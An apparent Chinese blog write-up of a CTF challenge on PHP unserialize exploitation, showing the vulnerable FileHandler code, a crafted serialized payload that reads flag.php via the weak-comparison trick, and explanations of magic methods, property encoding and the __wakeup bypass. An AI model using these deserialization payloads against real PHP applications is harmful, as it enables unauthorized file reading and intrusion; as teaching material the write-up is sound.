PHP反序列化漏洞解析

本文探讨了PHP中利用unserialize函数进行反序列化攻击的解题思路,涉及构造恶意序列化字符串、属性权限理解、魔术方法和绕过_wakeup方法技巧。通过实例分析,揭示了如何控制对象行为获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题思路

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;   //%00*%00属性名
    protected $filename;
    protected $content;

    function __construct() { //该方法在创建对象时自动调用
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {  //如果op=1调用write函数,若op=2,调用read函数,否则输出Bad Hacker!
        if($this->op == "1") {  
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() { //该方法在销毁对象时使用,会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}   

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}//传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化

分析一下源代码,看到了有unserialize()函数,这道题坑定是PHP反序列化无疑了。

首先从程序的入口来看:

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

GET方式传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化。(对于PHP反序列化不懂的同学可以先看一下文末)

function __destruct() { 
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

这里是对op进行判断,如果op=2那么将op改为1,否则执行process方法。

public function process() {  
    if($this->op == "1") {  
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

process方法在op等于2时,读取filename文件的内容并输出。这里还考察了=====的区别,一个是强类型比较,一个是弱类型比较。我们可以令op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

接着可以写一个对象构造序列化,然后传入str,就可以得到flag了

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "oavinci";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

在这里插入图片描述

PHP反序列化原理

当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

序列化:

PHP 的序列化是一个将各种类型的数据,压缩并按照一定格式存储的过程,它所使用的函数是serialize()

<?php

class FileHandler {

    public $ab=2;  
    public $cd="flag.php";
    public $efg="hello";
}

$a=new FileHandler();
$b=serialize($a);
echo $b;

序列化后的输出如下:

O:11:"FileHandler":3:{s:2:"ab";i:2;s:2:"cd";s:8:"flag.php";s:3:"efg";s:5:"hello";}

反序列化

反序列化就是将压缩格式化的字符串还原。

魔术方法

接着了解一下PHP里边的几个魔术方法

(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)(2)wakeup()unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():serialize()之前自动调用

属性的权限

这里有个很重要的知识点:

<?php
 
class FileHandler {
 
    public $op = 2;
    private  $oa = "123";
    protected  $ob = "456";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;

序列化后的结果如下:

O:11:"FileHandler":3:{s:2:"op";i:2;s:15:"FileHandleroa";s:3:"123";s:5:"*ob";s:3:"456";}

我们会发现里边的属性名明明是oa 但序列化后的结果却是FileHandleroa,并且他的长度明明是13,但序列化后的结果却是15;属性名明明是ob,但学历恶化厚的结果却是*ob,长度也变成了5。

这里就涉及到PHP的属性访问权限了,序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我定义的类的属性有三种 private protected 和 默认的 public(写不写都一样)

  • Puiblic 权限

他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符。

  • Private 权限

该权限是私有权限,也就是说只能 FileHandler类使用,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,这是因为private权限的属性在序列话的时候会在属性名的前面加上类的名字,并在类的前后加上两个空白符,就是这样:%00类名%00属性名

  • Protected 权限

Protected 权限序列化后的格式是:%00*%00属性名

绕过_wakeup魔术方法

当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。比如有个Student类,里面有个参数为name。
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值